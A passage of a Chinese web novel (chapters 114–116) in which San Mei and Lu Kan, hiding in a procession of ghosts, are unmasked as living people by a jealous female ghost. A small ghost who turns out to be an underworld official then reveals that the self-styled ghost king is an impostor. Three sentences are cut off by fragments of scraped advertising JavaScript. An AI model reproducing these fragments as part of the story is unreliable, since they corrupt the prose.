裴元耸耸肩,他也是半刻钟前发现的。 其实阿丑和白墨的疑惑,也在他的脑海里萦绕了好一会儿。 虽然不认识这三个男子,但是从小八耳突然出现,他能肯定,小三枚和他们在离开黑渊的之前,这三个人肯定不在养尸地里。 否则以小三枚的本事,不可能没有发现。 这个问题,从白墨和阿丑的争执中,他也得到了解答。 这三兄弟,几个时辰前还活生生地在碧水村里溜达呢。 通往黑渊的密道,洞口在天亮时已是被封,邢安然肯定确认过后,才赶去的黑山寨。 那么,这莫名其妙的三兄弟,是怎么进入黑渊,又是为何会被埋在养尸地里的? 裴元想得脑袋发蒙,一头雾水,也想不出个所以然来。 于是打算等小三枚回来,再问问的时候,捏在他手里把玩的小坛子,忽而发出了一道亮光。 那道光顺着坛子的裂缝,一闪而过,仿佛游蛇一般,吓得他一个激灵,甩手就将东西丢到了地上。 等他再定睛一看,那道亮光早就消失不见,仿佛刚才是自己的错觉一般。 裴元有些难为情地挠了挠下巴,不动声色地朝那还在争执的两兄妹一瞥眼。 他本意是想看看自己出丑的时候,有没有被人看见,没想到却是看到了意想不到的画面。 直挺挺躺在地上的三兄弟,胸膛居然在微微的上下起伏。 埋在地下的死人,居然活了! 虽然心里讶异,但他可不会在两个小屁孩面前表现出来。 于是裴元故作淡然,指着地上的人道:“我是不是早就知道,这并不重要,现在重要的是,把人唤醒。” “他说的!。” 白墨点点头,挠着下巴,脑子里思考着要怎么做。 “这个还不简单。”阿丑哼笑一声,“看我的。” 她撸起袖子,在掌心吹了口气,抬起手,对着地上躺着的三兄弟,“啪”的一下,毫不犹豫就扇了下去。 “啪!啪!啪!” 响亮又清脆的巴掌声,一下又一下地扇在三兄弟的脸上。 在静谧的夜空中,节奏感极强。 裴元桃花眼猛然瞪大,看着恶狠狠地扇着人巴掌的阿丑,惊讶地张大了嘴巴。 “这丫头,这狠劲,我好像曾在哪里看见过!” 114. 第 114 章 就在阿丑咬着牙狠抽那三兄弟巴掌的时候,三枚和陆衎跟着那百鬼夜行,来到了一处荒郊野外。 在古井村的时候,百鬼排着长队,井然有序、安静地在乡野间穿梭,越过了农田之后,它们开始窸窸窣窣,你推我搡玩闹了起来。 跟在百鬼的队伍后头,看着前头群鬼乱舞,欢呼雀跃,仿佛在举行盛大庆典的热闹场面,三枚苦着脸,脚底又酸又痛。 “啧,到底要走到什么时候,难不成没有尽头的吗?” 她看看被乌云团团围住的圆月,眉头紧拧,“就快要天亮了,还没走到目的地吗?” 陆衎低头,抬袖帮三枚擦拭了下额上的汗水,突然松开握着她的手,上前一步。 他弯着腰,侧过头对着三枚道:“上来,我背你。” 三枚眨眨眼:“同样都是两条腿,你不累啊?” 陆衎摇头:“我不累。” “只是走路而已,我从前在学院学习武艺的时候,每天山上山下地跑,一天要跑上好几圈,道半山腰时,还得帮山下的百姓挑水。” “这么辛苦?”三枚瞪大眼睛,惊讶地道。 陆衎轻笑:“习惯了,便不觉得辛苦了。” 他长臂向后一伸,看着三枚道:“我背着你走,咱俩还能快一点。” 三枚瞄了眼陆衎的大长腿,抿了抿唇,假装勉为其难,实则嘴角止不住上扬。 “既然你都这么说了,那好吧。”她说完,毫不犹豫地跳到了陆衎的背上。 陆衎稳稳地将人接住,等三枚双手环着自己的脖子后,才慢慢地直起身来,他语气轻松,轻声道:“准备好了吧,那我要加速啦。” 累得有些闷闷不乐的三枚,被他这么一逗,噗嗤一声笑了出来。 前头的女鬼听见三枚的笑声,疑惑地向后一看,发现身后的小夫妻,竟是又搞起了花招,忍不住阴阳怪气了起来。 “哎哟,怎的就背起来了呢?刚好让我想起了经典名著里描写的场面,叫做、叫做......叫什么来着?” 女鬼语气酸溜溜的,故意停顿了片刻,接着故作恍然地拍手,道:“诶,我记起来,就叫做猪八戒背媳妇呢。” 三枚嘴角抽抽,眼神凶狠,瞪着女鬼咬牙启齿地道:“我呸!” 环着陆衎脖子的手往他脸上一捧,三枚愤愤不平地道:“你见过这般俊俏的猪八戒吗?” “瞎了你的鬼眼了!有眼不识珠,长得那么好看有什么用,瞎子一个!眼珠子不用,干脆挖了埋土里得了!” 三枚气势汹汹,语气恶劣,女鬼一怂,连忙捂着自己的眼睛。 “瞧瞧你那羡慕嫉妒恨的丑恶嘴脸,简直不堪入目!缺爱缺大发了吧,见不得别人感情好,非要上赶着找骂!” 女鬼被戳中了痛楚,咬着红唇,气得浑身鬼气不稳,“我只是开了个玩笑而已,你这么生气作甚?” “我不觉得好笑啊!” 三枚直起身子,头颅高昂,抬眼瞪着女鬼,她双手叉腰,“我不觉得这是个笑话,反而觉得你很没有礼貌,一点家教都没有!” 女鬼气势一萎,支支吾吾地道:“那、那我就道歉。” 她虽然确实看不得人好,嫉妒心又重,但自认是个讲道理的好鬼,见三枚和陆衎一脸冷漠地看着自己,嘟着红唇道:“对、对不起嘛,我有口无心,说错了话。” 三枚哼了一声:“走你的路,少多管闲事!” 女鬼完全吵不过三枚,被她一顿狂轰乱炸,骂得脑袋发蒙,现在道歉了,还被恶声恶气警告不要多管闲事。 她心里又气又恼,一边转身,嘴里一边嘀咕道:“走什么走,我是鬼又不是人,会飞会飘,根本不用走路——” 眼睛不经意向下一瞥,女鬼声音蓦然顿住,柳叶眉一拧,指着陆衎脚下,高声道:“你们怎么用脚走路?” 她眼睛在地上找了一圈,不知道是不是天色太黑的缘故,没有看到影子。 三枚赢了一局,正高兴着呢,听见女鬼的声音,身子顿时一僵,差点哑然失色。 她舔了舔嘴唇,故作镇定地回呛:“都说让少管闲事,你还没完没了了是吧?” 女鬼这次却没被三枚的气势吓退,反而缓缓地朝陆衎和三枚的方向倾身,一脸探究的严肃表情。 “不对劲,我好像没在你们的身上闻到鬼气。” 三枚紧盯着女鬼,紧张地咽了咽口水,左手不动声色地往后一探。 “别动,让我闻闻。”女鬼倏的一下,眨眼便来到了陆衎面前。 陆衎飞快后退一步,长腿往边上一勾,就将一直跟在他们身后的小鬼头勾到前面,正好挡住了女鬼的靠近。 “嗯?”女鬼一顿,皱了皱鼻子,狐疑地看了陆衎一眼,接着在小鬼头身上仔细地嗅了起来。 过了一会儿,她才慢慢直起身子,脸上的狐疑瞬间退散,取而代之的是一脸鄙夷。 “哼,原来是刚死不久的小屁孩。” 女鬼一脸轻蔑,眼神轻飘飘地在三枚和陆衎身上转了一圈,“你们一家三口,死了没多久吧?” 三枚和陆衎对视一眼,没有说话。 女鬼又是轻哼一声:“怪不得还在用双腿走路,看来是还没习惯做鬼呢。” 她说完,撩了撩如瀑的长发,低头对着还没腿长的小鬼头,自以为语气温柔地哄骗道:“来,姐姐抱抱。” “嘤!” 懵懵懂懂的小鬼头,好像被女鬼脸上狰狞的笑意吓到,惊恐地瞪大眼睛,转身就抱住了陆衎的长腿,一脸戒备地看着女鬼。 “哼!你们一家三口可真难伺候!”女鬼讨了个没趣,心情顿时更不好了。 她脸色一沉,小鬼头更害怕了,脑袋嚯地一转,小脸埋在了陆衎的腿上,瑟瑟发抖了起来。 三枚眼睛眨啊眨,感觉有好多话想说,嘴巴却是紧紧抿着。 女鬼见小夫妻都沉默了,误认为自己扳回了一句,方才萎靡的气势,便是一振。 她恢复了趾高气昂,又高高在上地点评了起来。 “我说呀,这孩子扭扭捏捏,一点也不大方,归根结底,还是你们做父母的不行,把儿子养得这般懦弱胆小,将来实在难成大器——” 三枚:“说谁儿子呢!” 小鬼头:“谁说是儿子!” 女鬼的说教才说了一半,三枚和小鬼头猛地一个抬头,不约而同地反驳道。 三枚一愣,掐着陆衎的肩膀,眼睛止不住好奇,总是投向那小鬼头。 小鬼头紧紧地抱着陆衎的大腿,听见三枚的声音,身子一僵,一动也不敢动。 夹在中间的陆衎,眼尾缓缓往上一挑,莫名思考了起来,自己跟三枚成婚后,要不要小孩的问题。 他有些苦恼,若是生的话,那生女儿还是儿子好? 若是生了女儿,那要给她取个什么样的名字比较好? 若是生了儿子,皮起来三枚能不能让自己动手揍人? “哟,原来是个小丫头呀。”女鬼声音居然尖锐了起来,上下扫了那小鬼头一眼,“怪不得,你娘这么凶,你也是个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 厉害的。” 小鬼头小脸蛋一皱,努力瞪着眼睛,嘀嘀咕咕道:“我娘才不凶!” 陆衎侧头,低声在三枚耳边道:“我也不觉得你凶。” 三枚哼了一声,“我才不凶!” “算了算了,我跟你们几个刚死的小鬼有什么好多说的呢。” 女鬼阴晴不定,心情莫名就好了起来,她耸了耸肩,“一比三,我势单力薄,吵架根本就吵不过你们。” 她转头,见半路停下欢舞的百鬼,又开始走动了起来,便也整了整裙摆。 “你们一家三口也是运气好的,才刚入地狱不久,就碰上了咱们百鬼最大的节日盛典——鬼节,就好好地享受享受吧。” 女鬼说完,便要飘走。 三枚撇撇嘴,小声嘀咕:“什么鬼节,现在离七月半,还早着呢。” 她的声音又轻又低,几乎只有陆衎才能听得见。 没想到那女鬼是个耳朵尖的,竟是将她的话尽收耳底。 “你说什么?”女鬼猛然转头,双目瞪大,声音陡然拔高,“今儿不是七月半?” 她字正腔圆,声音尖锐又高昂,说完排在她前头的鬼群,轰的一下就炸开了锅。 “什么?今儿不是七月半?” “什么什么?不是七月半?” “啊?不是七月半?” “今儿不是七月半吗?” “......” “吵什么吵!” 前方忽而传来一个又低又沉的声音,极具压迫, 七嘴八舌闹哄哄的鬼群,顿时就被震慑住了。 自觉说错话的三枚,半张脸都埋在陆衎的肩膀上,她紧张地咽着口水,看着从远处徐徐飘来的莲花灯。 莲花灯看似慢悠悠地飘荡着,然而几乎是眨眼的瞬间,便近在眼前。 这时,三枚也看清了手持灯盏的老鬼头。 “这个,手持莲花灯,应该就是地府的冥王吧?”三枚在心里小声嘀咕道。 “汝等这般嘈杂,又为哪般?”被三枚认作冥王的老鬼头,不怒自威。 它身上的磅礴鬼气,压得众鬼全都低垂着脑袋。 周围鸦雀无声,一时谁都没敢开口说话。 “刚才,”冥王扫视了一圈,居高临下地问道,“是谁先闹腾的?” 女鬼舔了舔唇,犹豫了一会儿,慢慢地飘了出来,她微微弓着身子,小心地道:“大人,小的有要事上报。” 冥王厉眼一瞪,声若洪钟,道:“说。” “是。” 女鬼得到了准许,稍稍直起了身子,恭恭敬敬地道:“大人,小的刚才得到消息,说今儿,并非七月半。” 空气安静了一会儿,须臾之后—— “嗯?”冥王沉声道,“何人所言?” “就是他们!”女鬼手指毫不犹豫指向三枚,“就是这个女子所言。” 陆衎直起身子,脑袋微微移动,将三枚彻底挡在身后,独自迎着女鬼的指认。 他冷眸投射出杀人的目光,冷冷地扫了女鬼一眼,才缓缓转头,看向那威严赫赫的冥王。 陆衎不卑不亢,直视着那冥王的厉眼,脚腕却不动声色向后一转,脑中思考着逃跑的路线。 冥王圆瞪的厉眼,自上而下扫过气度不凡的陆衎,看了眼紧紧抱着他大腿不放的小鬼头,眉头一皱,又不发一言,缓缓地看向了陆衎背上的三枚。 “阴阳两道,人鬼殊途,阁下两位大活人,为何要混入我百鬼夜行的队列,恶意滋事?” 115. 第 115 章 “阴阳两道,人鬼殊途,阁下两位大活人,为何要混入我百鬼夜行的队列,恶意滋事?” 冥王冷厉的双眸,沉沉地盯着三枚说道。 “大活人?” “两个?” “说他们是两个大活人呢?” “活人怎么敢跟在我们的队伍里,不要命了吗?” “哎呀呀,两个大活人呢!” 安静的鬼群,突然又炸开了锅,你一言我一语咋咋呼呼了起来。 “活人?”告状的女鬼缓缓地转过头。 她嘴角抽动,狞笑地看向三枚,“你们是大活人?” 三枚本想直接跟那冥王交涉,看见女鬼身上高涨的鬼气,还有团团围上来的鬼群,直觉有些不妙。 她拍了拍陆衎的肩膀,用气音快速地道:“陆衎,快跑!” 话音刚落,陆衎便应声而起,飞窜进了边上的丛林里。 他带着三枚,蹬着树干飞来飞去,扭头看见女鬼就追在身后,倏而急刹,直接窜进了另一处草丛里,换成了徒步疾跑。 他的速度极快,风被他带得呼呼作响,身上的衣摆更是猎猎作响。 三枚被狂风扫得眼睛根本睁不开,只能半眯着眼,紧紧地抓着陆衎的脖子。 感觉到身后的鬼气越来越近,三枚怕拖累陆衎,在他耳边道:“要不,我自己下来跑?” 那些鬼魂来势汹汹,她心有顾虑,就怕它们身上的阴气会影响到锁魂箱里的小棺椁,才犹豫着迟迟没有出手。 “不用。”陆衎摇头。 他呼吸微喘,脚下速度不减反增,毫无头绪在地乱窜乱跑,好几次看似就要被女鬼追上,他又极速转换了方向,将它远远甩开。 “前头草丛里躲着一个断头鬼。” 呼呼狂啸的风声中,突然响起一个清脆的童声。 陆衎和三枚均是一愣,不约而同低头一看,陆衎的腿上,还黏着那小鬼头呢。 三枚瞪眼:“你怎么在这里?” 小鬼头抬头,嘿嘿一笑:“我一直都在呢。” 怪不得总觉得脚步有些沉重,陆衎皱眉,都忘了自己还被这小鬼头缠着呢。 “嘻嘻,”小鬼头紧紧地抱着陆衎的大腿,小手往前一指:“喏,那个断头鬼的脑袋掉出来了。” 顺着它手指的方向望去,见前方不远处的草丛里,咕噜噜滚出了一个伸着大舌头的脑袋。 陆衎眉头一皱,脚下立马转了个方向,还没跑几步,身下又响起了小鬼头的声音。 “前方六百米处,树干后头也藏了一个。” 它兴奋地嘎嘎直乐,“还有那儿,那儿,那儿,都藏着呢!” 三枚眯着眼睛,也感受了周围若隐若现的鬼气,距离他们越来越近。 “陆衎,掉头。” 小鬼头:“不能掉头,那个又丑又凶的女鬼,就在后面等着呢。” 三枚咬牙切齿:“这个女鬼,怎么这么难缠!” 明明自己也没有什么特殊之处,这个女鬼莫名其妙的,怎么总是看自己不顺眼,非要针对他们呢? “她嫉妒你呢。”小鬼头突然说道。 它仿佛看透了三枚的想法,嘿嘿笑道:“我在下头,听说过她的事。” 三枚好奇道:“什么事?” 小鬼头仰着头,看着三枚道:“听说呀,她生前是被自己的男人卖进青楼,被折磨致死的。” “哦对了,她之所以被卖掉,是因为肚子里的孩子没了,以后都生不了孩子了。” 小鬼头笑意盈盈,脸上表情满是天真单纯,完全不觉得自己所说的话有多么残忍现实。 三枚眉头紧皱,看着它,沉声道:“小孩子家家,这么八卦!” “这是人家生前的惨痛经历,你说的时候,能稍微收敛一下脸上的表情吗?” “哼!” 小鬼头小脸一昂,一点也不怕三枚的样子,“我才不八卦,是那女鬼,之前总是逢鬼就说自己的悲惨身世,目的就是为了骗取那些心软善良的傻鬼的香火。” “嘶,还敢顶嘴!”三枚故意板着脸,佯装凶狠地道。 “哼,本来就是!”小鬼头皱着鼻子,“它后来是被真正的冥王大人教训了一通,才不敢再行骗了。” “地下不论新鬼老鬼,都知道她的事儿,因为她在下头啊,已经成了反面典型了,地府里还贴着她的判罚文书呢。” “啧啧,这是骗了多少香火啊,竟然被判罚,还上了文书。”三枚听得一脸无语。 “算了,疯子不好招惹,疯癫了的女鬼,更不好招惹。” 挠了挠头,她左右张望了一圈,问小鬼头:“你知道那个冥王,现在在哪儿吗?” 小鬼头眨巴眨巴眼睛:“冥王?” 三枚以为它真如女鬼所言,是刚死不久的新鬼,于是想了想,解释道:“就是鬼王,统领你们这些小鬼头的头头。” 小鬼头嘟嘟嘴:“你找它作甚?” “啧,你怎么问题这么多呢?你就说知道不知道,其他的不用多管。” “哼哼,”小鬼头突然一脸傲娇,故作神秘地道:“远在天边,近在眼前。” 远在天边,近在眼前? 三枚抬头一看,头顶果然一片黑暗,天空全被漫天的鬼气覆盖。 “那老头,难道就一直看着,也不管管那些小鬼?” 小鬼头刚想揭秘呢,就见三枚一直抬头望天,它小脸一皱,不屑道:“哦,你原来一直在找的‘冥王’,就是它啊?” 哼,那家伙,算什么鬼王?顶多就是一个有些能耐的小喽啰罢了。 小手向上一指,它满脸不开心,“它确实就在上头,一直看着呢。” 三枚仰起头,看着头顶茫茫一大片的鬼气,狐疑地道:“它就这么放任底下的鬼魂乱来,一点顾忌也没有?” 身为地府冥王,就这么看着底下的鬼群作乱,围剿她和陆衎两个活人? “可不就无所顾忌,这老......老头,名声可不好,出了名的爱搞事。” 小鬼头满脸厌恶,眼里煞气一闪而过,它早就想收拾这老东西了,现今终于让自己找到了确切证据! 正好赶上自己在位的最后一年,把这老家伙绳之于法之后,自己就可以安安心心、美美地去投胎了。 “嘿嘿,”小鬼头看看三枚,又看看陆衎,嘴角的笑意止不住上扬:“这老东西罪孽深重,但还算是有点作用,我这出差一趟,还给自己寻摸了对好父母,还挺划算呢。” 想到这里,它脑袋一转,笑嘻嘻地又道:“现在这片丛林啊,好像都被包围了呢。” 陆衎看了莫名笑开了花的小鬼头一眼,一脸疑惑地侧过头,就见三枚神情凝重的样子。 “怎么了?”他问。 三枚揉了揉有些胀痛的太阳穴,“上头这个冥王不对劲。” 她想说对方是个冒牌货,但它身上那般磅礴的鬼气,又不像是假的。 说是假的吧,人家刚才手里拿的,又的的确确是冥王才持有的莲花灯。 三枚一脸头疼,总觉得肩膀越来越重。 过了一会儿,她才道:“不能往上飞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,被抓住可能谁都无法全身而退。” 陆衎闻言,眉头一拧,低头问那小鬼头:“难道就没有突破口了?” “有的呀。” 小鬼头嘻嘻一笑,“在我娘的锁魂箱里。” 三枚一噎,瞪着眼睛:“你个小丫头,胡说八道,谁是你娘。” “别败坏我名声哈,影响我将来嫁人。” 背着三枚的陆衎一顿,轻声道:“不影响,一点不影响。” “诶,陆衎,站哪边呢!”三枚听见陆衎的话,气得掐住他的胳膊。 “我当然站你这边。”陆衎连忙表态。 “哼,你们两个大人,欺负我一个小孩,不公平!” 小鬼头嘴巴一瘪,不高兴地瞪了陆衎一眼,气呼呼地转头,嘤嘤嘤哭了起来。 “哼哼。”三枚斗气似的,故意大声哼了两句,“敢假哭,等下大巴掌把你屁股抽烂!” “啊!” 小鬼头被这么一吓唬,惊恐地瞪大了眼睛,看着陆衎:“爹爹,救我!” 说完,小脸蛋猛地又埋到了陆衎的大腿上。 陆衎:...... 喜当爹的陆衎眨了眨眼,脚下一顿,一把就将小鬼头从腿上扯开。 “哎呀,哎呀!” 小鬼头猝不及防被扯开,急得手忙脚乱,“陆衎!你要干嘛!” 三枚瞪眼:“你叫他什么?有没有礼貌,直呼别人名讳!” 小鬼头皱着小脸,仿佛下一秒就要哭出来,“他扒拉我,不让我抱啊!” “活该!”三枚皱着鼻子,“他是我的人,当然不能让你随便抱啊!” 陆衎笑意盈盈,听见三枚的话,抿着嘴巴点了点头。 “可是、可是,可是他是我爹爹啊,抱我不是天经地义的事吗?”小鬼头一脸委屈,哀怨地睨了陆衎一眼,“连自己的孩子都不抱,哪有这样做人爹爹的!” 三枚:“谁说他是你爹的?别胡说八道!” 小鬼头:“你是我娘,他就是我爹,他是我爹,你就是我娘,咱们就是一家人呀。” “嘶,这丫头,还挺轴!”三枚被吵得牙痒痒,佯装凶狠地道:“我不是你娘,他也不是你爹,你少胡乱攀扯!” 小鬼头面红耳赤,大声道:“就是!就是!我说是就是!” 看着小鬼头和三枚斗气吵嘴的样子,陆衎莫名觉得有些喜感。 再看三枚并非真的反感它,他便也爱屋及乌了起来,甚至还觉得小鬼头皱鼻子的小表情,看久了真的与三枚有些相似。 这一发现,令他心里更多了一份耐心和包容,又觉得这小鬼头生前是个父母缘浅、缺爱的小孩子,便不愿再多作计较。 陆衎把小鬼头往肩上一扛,开门见山问道:“你说出路就在三枚的锁魂箱,是什么意思?” 小鬼头一愣,接着迅速转身,坐在了陆衎的肩头。 视野骤然开阔,它扭头和瞪眼的三枚对视了一眼,心情莫名就好了起来。 小鬼头开心地摇头晃脑,看着三枚嘻嘻笑道:“哈哈,我爹宠我呢。” 三枚咬牙,将小鬼头的手撒开,故意抱着陆衎的脖子,将自己的脸紧紧的贴着他的。 “哼,没我的同意,你看他敢吗?” 小鬼头嘟着嘴巴,也不跟她斗气了,它双手环胸,眼睛往上一瞥,说:“把我娘锁魂箱里的东西交出去,它估计能消停一会儿。” 三枚:“它要木清梅的鬼魂?” 小鬼头点头:“今夜这场百鬼夜行,最终的目的,就是要你箱子里的鬼魂。” 116. 第 116 章 “实话跟你们说吧,上头这老头,别看它看起来唬人,其实呀,它才不是什么鬼王冥王呢。” 小鬼头掐指一算,老东西才死了六七年,算起来还只是只小小的新鬼。 “六七年?”三枚一脸不可置信,“那它身上鬼气那么重?” 所以它才说这家伙是个滑头鬼,竟然背着自己在地府搞了那么多事。 事后又像条泥鳅一样滑手,一点把柄也没有留下,棘手得很。 小鬼头抬头,眯眼看着头顶弥散的鬼气,心里暗忖:能积聚这般磅礴的气势,肯定不是一年半载就能做到,少说也要五六年的功夫。 被得逞多次,老家伙估计也是膨胀了,不知道自己被地府多少双眼睛盯上了,还洋洋得意地又想搞事呢。 小鬼头心里嗤笑,自己只不过略施小计,假装将莲花灯遗忘在办事处,老东西立马上钩。 “哼!”小鬼头蹙眉,眼神陡然凌厉,“这家伙,就是个阴险狡诈的滑头鬼!” 不知道钻了哪里的漏洞,居然将本该进入地府的孤魂野鬼尽数吞吃入腹,才形成了那般强度大的鬼气。 现在胆子养肥了,拿着自己的莲花灯,竟然还敢冒充冥王! 小鬼头看了眼三枚和陆衎,指着三枚的后背,“不信?你问她。” 三枚转头,猛然对上了木清梅猩红的双眼。 木清梅魂魄不稳,晃晃悠悠地从锁魂箱里探出了头。 三枚眉头微蹙,问木清梅:“你意识回来了吗?” “大人,”木清梅刚开口,魂魄立马像烟雾一样散去,又慢慢凝聚起来,却看起来更透明了,她虚弱地道:“大人救我......” 说完魂影一散,化成烟雾,缓缓地向上飘去。 三枚一愣,下意识伸手去抓,“木清梅,你——” “没用的哦,”小鬼头摇晃着两条小短腿,小脑袋歪靠在陆衎的耳朵边,“它三魂七魄已经散了,你怎么抓都抓不住的哦。” 三枚不信邪,用力敲着身后的锁魂箱,只听箱子里的小棺椁闷声不响。 她皱着眉头,打算拿出紫铜小铃铛,手伸进箱子却摸了个空,这时才想起来,小铃铛被她拿去封印九阴之地,还没收回来呢。 “我能帮忙把它给追回来哦。”小鬼头头颅高昂,眼睛斜睨着三枚,表情十分地臭屁。 “那你还不赶紧帮忙!”三枚吼道。 眼见有好几个野鬼,正蠢蠢欲动地靠近木清梅的魂影,慢慢地朝她围拢而去。 相比较三枚的着急,小鬼头却十分悠闲,只见它伸出一根手指头,轻轻地打了个转。 木清梅涣散成烟雾的散魂,瞬间被拉成了一条长线。 小鬼头傲娇又得意地飞了三枚一眼,慢悠悠地扯着手中的长线,一下一下将木清梅给拉到了手里,揉面团一样胡乱揉成一个圆球,举到了陆衎的眼前。 陆衎脚下一顿,看着近在眼前的圆球,疑惑地转头看向小鬼头。 小鬼头嘻嘻一笑:“喏,我厉害吧?” 求夸的小表情,跟三枚之前简直如出一辙。 陆衎睨了三枚一眼,须臾点头,他道:“厉害。” 三枚噘着嘴巴,轻哼一声。 这小鬼,确实挺厉害。 等等,三枚突然反应过来,一个刚入地府不久的小鬼,怎么这么厉害?而且看样子,它好像还知道不少地府的内部消息一样。 “你不是一般的小鬼头吧?”她突然问道。 小鬼头哼哼两声,高昂的头颅,更加使劲往后仰去,就剩两个鼻孔看人了。 它挥了挥手,故作谦虚:“一般一般,地府第三吧。” 地府第三? 口气这么大! 三枚脸上狐疑的表情,一下子就变成了嫌弃,本想探究的心情,一下子就冷却了下来。 她向来不按牌理做事,见小鬼头就差在脸上写着“快接着问啊,你问我就大发慈悲告诉你”的高傲表情,哼了一声,一盆冷水就浇了过去。 震惊得眼神倏而冷静了下来,三枚一脸漫不经心地道:“哦。” “哦?”小鬼头傲慢的小表情瞬间僵住,猛地低头,不可置信地看着三枚:“哦?没别的了?” 三枚耸耸肩:“没了。” 陆衎被一左一右夹在中间,听到这里,差点噗嗤一声笑出来,他抿着嘴唇憋着笑,看着头顶乱成一团,还在寻找突然消失的木清梅的野鬼们,心思一转,趁机溜了。 其实在三枚和小鬼头斗气吵嘴的时候,他带着人也没有停止奔跑,一边警戒四周,一边躲避身后野鬼的追杀。 “那个女鬼,好像不见了。” 他跑着跑着,突然停了下来,左右环顾了一圈,身后不见其他鬼怪,就连一直紧追不放的女鬼也不见了,再向上望去,头顶的黑雾,不知不觉也已经退散了去。 三枚拍了拍陆衎的肩膀,示意自己要下地。 “女鬼就在附近,不要放松警惕。”她轻声道。 小鬼头眨了眨眼,不知道有什么好紧张的。 像女鬼那样的怨魂,自己动动手指头就能灭掉一大堆,根本不足为惧。 小鬼头嘀嘀咕咕,声音不轻不重,用刚好能让身边的人听见的音量道:“哼哼,一个女鬼罢了。” “若是你们说两句好听话,我是不介意帮你们解决掉它的哦。”它心里这般想着,却嘟着嘴巴没有说出口,它要三枚和陆衎自己意识到自己的重要性。 然而,听见小鬼头的话,三枚和陆衎却谁都没有放在心上,更加意会不了它潜藏在话里的深意。 陆衎护在三枚的身前:“总觉得它就躲在附近,但我感受不到它的气息。” 浑身上下有种如芒在背、被毒蛇一般紧盯着的森冷感觉,让人感到十分不舒服。 三枚蹲在地上,从锁魂箱里将小棺椁拿在了手里,闻言轻声道:“女鬼的鬼气在慢慢消失,取而代之的,是其他陌生鬼气在迅速膨胀。” “是冒牌货哦。”小鬼头突然插嘴道。 见他们谁都不理自己,它尴尬地挠了挠鼻子,只好自己给自己找个台阶。 “就是冒充鬼王的老东西,它已经忍不住,又在吞噬其他的鬼魂,以增强自身的鬼气。” 三枚看了小鬼头一眼,问:“你知道,这个老东西,生前叫做什么吗?” 小鬼头见三枚终于肯搭理自己了,高兴得连连点头,它笑眯了眼,声音清脆地道:“我现在不知道,但只要我想,我可以帮你找到记录它生前的信息簿子。” 三枚狐疑地在小鬼头脸上扫了一眼,“你,在下头当官的?” 小鬼头这时候不敢再拿腔拿调了,点头道:“嗯嗯。” 它已经差不多看清了,陆衎虽然对自己不反感,但他不管心里眼里都只有三枚一个人,完全以三枚为主。 自己要想融入进这个家庭里,一定不能轻易得罪三枚。 认清这一点,小鬼头思绪一下子就豁然开朗,回答完三枚的问题,它从陆衎肩上跳下,一头扎进了地里,须臾便消失不见。 “等等,我稍后就来。”它的声音从地下传来,又沉又闷。 三枚看得一愣,和陆衎对视一眼,“看来是回地府查去了。” 这利落干脆的劲头,看来小鬼头在地府当官这事不是虚的,大小应该是有点权力在身的。 那怪不得能遮掩身上的鬼气,令女鬼误以为自己是刚死不久的新鬼,还对地府信息了如指掌的样子。 “哎呀,跑这么快!”三枚反应过来后,突然跺脚,“把这周围一直在膨胀鬼气的大鬼给解决了,再回去不迟啊。” 陆衎:“我觉得,小鬼头此行,应该就是来抓捕它的。” 他手指往前一指,看着远处呼呼飞速扩散的黑芒,沉声说道。 三枚抓着陆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衎的胳膊,将锁魂箱塞到他的怀里,自己则拿着小棺椁向前一步。 “你退后,等会儿我数到三,你就跑,能跑多远跑多远,不要回头。” 陆衎:“我留在这里,会成为你的累赘,是吗?” 三枚没有回答他的话,而是道:“这老东西,我想你也应该猜到了,很可能就是将黑山寨那三姓耍得团团转,七年前才死亡的那个神秘高人。” 想到小鬼头说这老东西多年来一直在吞噬其他的野鬼,以增强自己的鬼气,再结合白家阴阳眼的天赋。 三枚大胆猜测,这些年,老东西即使死后,也没有停止与三姓之间的合作。 “借尸还魂,相传这是海门涂家独有的禁术,因为过程之残忍无道,是被寻尸五门严令禁止的邪术。” 没想到,居然被她给遇上了。 估计海门里头,知情不报甚至参与帮忙的人不少。 这秘密要是让她给捅破了,海门涂家就得被寻尸五门大盟会制裁,严重点是要上绞杀令,一个屠族的下场。 怪不得涂家两兄弟要灭她的口! 看着前头越来越高涨的鬼气,三枚眉头轻蹙,有些不确定,单凭自己的一己之力,能不能将这老东西扳倒。 她脸上的表情,越来越凝重,陆衎见状,举起了手。 他指着手腕上缠着的五铢钱:“这一次,有它也没用了吗?” 三枚闻言,侧头看他:“你知道自己胸膛上,多了一个印迹吗?” 陆衎一愣,耳尖倏而一红,“你如何知道的?” 自己还不曾在三枚面前坦诚相待过,她是如何知晓的? 难道是之前扒拉他衣裳的时候,不小心看见的? 三枚:“那是铢钱之印,盖上这个印子,无论你如何,我这辈子只能认定你一个人。” “我也非你不可!”陆衎握住三枚的手,看着她的眼睛,一脸真切地道。 虽然不知道三枚为何突然在这个时候对自己告白,但他绝对不会放过任何一个可以与三枚明确关系的机会。 陆衎身随心动,上前一步,十分笃定地道:“我陆衎发誓,这辈子都非你不可。” 三枚被陆衎的直白和炙热的眼神,看得不好意思,视线稍稍往边上移,“你、你别激动啊。” 怎么突然就这么激动了呢? 她根本不知道自己几句话,对陆衎的杀伤力有多大,特别是她说出认定陆衎时,那特别理所当然的态度,又是在他的心里,激起了怎样的波澜。 在三枚看来,自己只是阐述了一个事实,虽然存了一定的小心思,想看看陆衎会不会不好意思,但没料到他反应会这么大。 她推了推陆衎的胸膛,小声呼了口气才道:“你听我说啊。” 陆衎一眼不错地盯着三枚的眼睛:“你说,我听着。” 三枚:...... “简而言之,这铢钱护主,我的人它也护。不仅能灭鬼除咒,关键时刻你把它按在自己胸口的位置,能保命,听懂没有?” 陆衎听完,就想将铢钱从腕上扯下来:“那这东西,得你自己拿着。” 三枚连忙阻止他的动作,“待会我对付这老东西的时候,你要想办法逃出去,给我搬救兵。” 但其实,除非能找来其他寻尸人帮忙,否则谁来都只有送人头的份。 不过她为了让陆衎安心,还是道:“你放心,我身上法器多着呢,它再厉害,一时也奈我不得。” 而且现在趁着老东西还没动手,她先下手为强,打它一个措手不及,把主动权掌握在手里再说。 “锁魂箱你抱好,它会给你引路。”三枚说完,就将陆衎往外一推。 